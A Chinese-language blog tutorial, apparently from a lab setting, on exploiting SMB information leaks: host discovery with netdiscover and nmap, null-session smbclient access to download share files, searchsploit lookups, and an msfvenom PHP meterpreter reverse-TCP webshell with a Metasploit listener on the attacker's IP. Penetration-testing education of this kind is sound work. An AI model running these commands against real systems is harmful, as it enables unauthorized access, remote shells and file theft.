• SMB信息泄露的利用


    一、背景

    今天分享SMB信息泄露,SMB(Server Message Block)网络通信协议,早些时候被用于Web链接和客户端与服务器之间的信息通信,现在大部分Web页面使用HTTP协议,在web领域应用较少。另一方面SMB协议还是被广泛用于计算机之间共享文件、打印机、串口等信息通信,比如在windows操作系统上面的“网上邻居”的实现就是靠SMB实现的。
    SMB 是一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源。
    SMB 协议基于TCP - NETBIOS下的,一般端口使用 139,445

    二、SMB泄露原理

    SMB协议是一种客户端-服务器协议,尽管SMB协议在网络文件共享中起到重要作用,但它也有一些安全漏洞,使得系统容易受到攻击。以下是一些常见的SMB协议安全漏洞:
    1.无法强制用户使用较强的密码:SMB协议在早期版本中没有强制要求用户使用强密码,这给攻击者破解密码提供了机会。比如使用弱密码暴力破解。
    2.NTLM身份验证问题:NTLM(Windows NTLAN Manager)是SMB协议中使用的一种身份验证协议,它的早期版本在安全性方面存在一些漏洞。攻击者可以通过中间人攻击或暴力破解。
    3.SMB协议版本问题:一些较早版本的SMB存在安全漏洞,用户可以在kali上通过searchsploit 找到对应版本的漏洞,已经响应的利用脚本。
    4.缓冲区溢出:由于SMB协议没有对用户输入进行充分验证,攻击者可以通过发送特制的请求来触发缓冲区溢出,导致远程恶意代码执行。
    既然SMB存在这些漏洞,接下来我们看一下如何一步步进行SMB漏洞的利用

    三、SMB信息泄露利用步骤

    进行SMB漏洞利用,主要还是要参考局域网靶机渗透操作指南,接下来我们看一下如何进行SMB漏洞利用:

    3.1 寻找靶机

    查看局域网中靶机的IP 使用工具为netdiscover工具, 命令格式: netdiscover -r ip/mask

    3.2 探测靶机开放的服务以及服务使用框架的版本

    使用nmap工具,具体命令格式:nmap -sV 靶机ip

    3.3 找到SMB协议,并针对协议进行分析

    (a) 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件
    smbclinet -L IP //查看SMB文件目录, 使用空口令尝试登陆
    smbclient ‘\IP\share$’ //查看SMB文件,使用空密码,其中的share就是SMB列出的文件名称
    get 敏感文件 //下载文件
    (b)针对SMB协议远程溢出漏洞进行分析
    searchsploit samba版本号 //搜索SMB远程溢出漏洞

    3.4 基于3.3找出漏洞的情况下,我们可以制作一些反弹Shell

    主要利用metasploit这款工具,制作反弹shell
    例如我制作的是PHP框架下的一个tcp反弹的webshell,使用的攻击载荷payload(php/meterpreter/reverse_tcp):

    msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP lport=4444 -f raw

    制作一个webshell并运行起来
    然后攻击机启动metasploit,然后启动监听

    msfconsole//启动metasploit
    msf > use exploit/multi/handler
    msf exploit(handler) > set payload php/meterpreter/reverse_tcp
    msf exploit(handler) > set lhost 攻击机IP地址
    msf exploit(handler) > set lport 4444
    msf exploit(handler) > run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    只有有人触发了php框架下的反弹shell脚本,攻击机就会获得服务器的登录权限。

    四、总结

    SMB的协议出现较早,应用较广泛,但是早期计算机协议注重应用的快速建立,而对安全的要求并不太严格,所以很多较老的设备使用了存在漏洞的SMB协议,就会存在安全隐患。我们在SMB漏洞的利用中,主要还是基于msf提供的一些payload,这些payload其实都是别人做好了的,所以用起来特别方便,也从另一个方面反映如果有人要攻击利用SMB漏洞其实也很方便,所以我们在计算机安全防护上还需进行更多的考虑,必要的安全设置应该保留,不要为了一时方便,关闭所有安全防护的护盾。如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵。

  • 相关阅读:
    基于Java+SpringBoot+vue新冠疫情物资管理系统(毕业设计参考)
    Linux 主机间ssh相互免密
    zynq - ps端的pcie ep功能测试
    【观察】华为:数智世界“一触即达”,应对数智化转型“千变万化”
    华为鸿蒙4,3,2禁用Google谷歌服务框架,使用最新谷歌Google play服务
    一串单词翻转——正则限制
    C语言怎样初始化图形模式?
    【Acwing】最短路+二分 通信线路
    WMS仓储管理系统的功能有哪些?
    【剑指Offer】整数(二)二进制 - 二进制加法 - JavaScript
  • 原文地址:https://blog.csdn.net/Scalzdp/article/details/134457052